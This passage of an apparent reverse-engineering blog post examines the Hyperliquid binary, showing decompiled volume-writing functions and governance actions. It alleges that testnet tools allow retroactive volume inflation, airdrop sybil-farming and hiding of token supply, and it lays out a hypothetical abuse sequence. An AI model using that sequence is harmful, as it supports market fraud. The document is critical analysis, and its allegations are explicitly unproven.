&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v11&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kr"&gt;__int16&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;230&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Compare day values in sorted map
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v15&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;v9&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;188&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;v9&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;188&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Insert/update entry
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v19&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;insert_or_update_btreemap_entry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v36&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v11&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v19&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Write wei_scaled volume
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v19&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Write cross_scaled volume
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="2"&gt;
&lt;li&gt;&lt;strong&gt;0x2eefa90&lt;/strong&gt;: Inserts/updates &lt;code&gt;(day, user) -&amp;gt; (spot_add_scaled, spot_cross_scaled)&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="kr"&gt;__fastcall&lt;/span&gt; &lt;span class="nf"&gt;update_user_volume_state&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// a1 = state pointer
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// a2 = day (u32)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// a3 = user address
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// a4, a5 = spot_add_scaled and spot_cross_scaled volumes
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v9&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sub_2C33590&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;288&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// BTreeMap lookup at state+288
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v11&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;v9&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v12&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Binary search similar to above
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;insert_or_update_btreemap_entry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Write spot_add_scaled
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Write spot_cross_scaled
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Both functions follow identical patterns: lookup the user&amp;rsquo;s entry in a nested BTreeMap, binary search by day, then directly write the volume values. No validation, no bounds checking, no authorization beyond the mainnet network check at the handler level.&lt;/p&gt;
&lt;h3 id="modifynoncirculatingsupply"&gt;ModifyNonCirculatingSupply&lt;/h3&gt;
&lt;p&gt;Fake volume can generate disproportionate token allocation if rewards depend on volume. Those tokens can be hidden from circulating supply metrics via the &lt;code&gt;ModifyNonCirculatingSupply&lt;/code&gt; governance action.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;enum&lt;/span&gt; &lt;span class="nc"&gt;VoteGlobalAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 0x25:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ModifyNonCirculatingSupply&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;: &lt;span class="kt"&gt;u32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Token index
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;: &lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Amount to mark as non-circulating
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;remove&lt;/span&gt;: &lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Amount to return to circulation
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If volume-based rewards generate token emissions, insiders could:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Generate tokens via fabricated volume&lt;/li&gt;
&lt;li&gt;Use ModifyNonCirculatingSupply to classify those tokens as &amp;ldquo;non-circulating&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Public APIs would report &lt;code&gt;circulatingSupply = totalSupply - nonCirculatingSupply&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Apparent token supply appears lower, potentially supporting higher prices&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="the-complete-testnet-toolkit"&gt;The Complete Testnet Toolkit&lt;/h3&gt;
&lt;p&gt;Few other testnet actions are available:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;TestnetAddMainnetUsers&lt;/code&gt; action (discriminant &lt;code&gt;0x58&lt;/code&gt;) copies user state between environments. If testnet volumes are inflated via &lt;code&gt;TestnetSetYesterdayUserVlm&lt;/code&gt;, and those volume fields are migrated, fabricated metrics persist as &amp;ldquo;legitimate&amp;rdquo; history.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TestnetDepositFor&lt;/code&gt; creates USDC deposits for arbitrary addresses without requiring Ethereum bridge activity.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TestnetFixUsdc&lt;/code&gt; adjusts balances directly.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TestnetSpotSendFor&lt;/code&gt; transfers tokens on behalf of users without their signature.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="a-hypothetical"&gt;A Hypothetical&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s entertain a hypothetical sequence of events:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Testnet phase&lt;/strong&gt;: Create sybil wallets, fund via &lt;code&gt;TestnetDepositFor&lt;/code&gt; (0x52), execute wash trades. Use &lt;code&gt;TestnetSetYesterdayUserVlm&lt;/code&gt; (0x57) to retroactively inflate volume metrics without market risk.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Migration&lt;/strong&gt;: Use &lt;code&gt;TestnetAddMainnetUsers&lt;/code&gt; (0x58) to copy inflated accounts to mainnet. The attacker-controlled wallets now show artificially high activity. When airdrops are distributed proportional to reported volume, these insiders claim a disproportionate share.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Supply manipulation&lt;/strong&gt;: Adjust non-circulating supply via &lt;code&gt;ModifyNonCirculatingSupply&lt;/code&gt; (0x25) to hide token allocations, if volume rewards generate emissions.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Proving this actually happened would require pre-migration testnet state or comprehensive forensic reconstruction: data not made public.&lt;/p&gt;
&lt;h3 id="why-this-matters"&gt;Why This Matters&lt;/h3&gt;
&lt;p&gt;The mainnet guard is not as innocent as it seems here. This code was meant for testnet, and testnet data is what drove allocation.&lt;/p&gt;
&lt;p&gt;You couldn&amp;rsquo;t even join the &amp;ldquo;pretend validator set&amp;rdquo; (we&amp;rsquo;ll get to that) until a few months ago, so it&amp;rsquo;s not like we can investigate how or why they were used. The existence of &lt;code&gt;TestnetSetYesterdayUserVlm&lt;/code&gt; in the binary however, is like finding a &lt;code&gt;steal_user_funds&lt;/code&gt; function in a bank&amp;rsquo;s server code. The function&amp;rsquo;s presence is the problem. Its execution doesn&amp;rsquo;t need to be proven when the capability alone violates the trust model claimed in marketing materials.&lt;/p&gt;
&lt;p&gt;Legitimate protocols don&amp;rsquo;t ship retroactive volume manipulation. They don&amp;rsquo;t maintain &amp;ldquo;unrewarded user&amp;rdquo; exclusion lists. They don&amp;rsquo;t vote to manipulate supply calculations. They don&amp;rsquo;t name functions after retroactive fraud operations.&lt;/p&gt;
&lt;p&gt;The &amp;ldquo;testnet-to-mainnet&amp;rdquo; narrative was a story about fair distribution. The code tells a different story.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x2-the-gatekeepers"&gt;&lt;span class="hx"&gt;0x2:&lt;/span&gt; The Gatekeepers&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;8 undisclosed addresses control all transaction submission. If they censor you, there&amp;rsquo;s no alternative, no L1 to appeal to.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Every blockchain needs transaction submission. Ethereum and Bitcoin have thousands of nodes accepting transactions. Hyperliquid has 8 broadcaster addresses in the on-chain allowlist (snapshot 2025-12-19). They are governance-modifiable, undocumented, and match no publicly known wallets.&lt;/p&gt;
&lt;p&gt;The lifecycle of a transaction looks like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;┌──────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;│ User signs order │ &amp;lt;─── You control this
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;└────────┬─────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;┌──────────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;│ API wraps in │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;│ SignedActionWrapper { │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;│ broadcaster: 0x??????... │ &amp;lt;─── One of 8 addresses
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;│ broadcaster_nonce: 12345 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;│ } │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;└────────┬─────────────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;┌──────────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;│ Validator checks: │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;│ 1. broadcaster ∈ whitelist? │ &amp;lt;─── TxUnexpectedBroadcaster
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;│ 2. nonce valid? │ &amp;lt;─── TxInvalidBroadcasterNonce
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;│ 3. signature valid? │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;└────────┬─────────────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;┌──────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;│ Execute on-chain │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;└──────────────────┘&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;All user transactions must be wrapped in a &lt;code&gt;SignedActionWrapper&lt;/code&gt; with a &lt;code&gt;broadcaster&lt;/code&gt; field. Submit directly to validators and your transaction is rejected with error &lt;code&gt;TxUnexpectedBroadcaster&lt;/code&gt; (case 0x25 at &lt;code&gt;0x39EA1DA&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;SignedActionWrapper&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;signed_actions&lt;/span&gt;: &lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;SignedAction&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Your cryptographically signed actions
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;broadcaster_nonce&lt;/span&gt;: &lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Replay protection (offset +0x18)
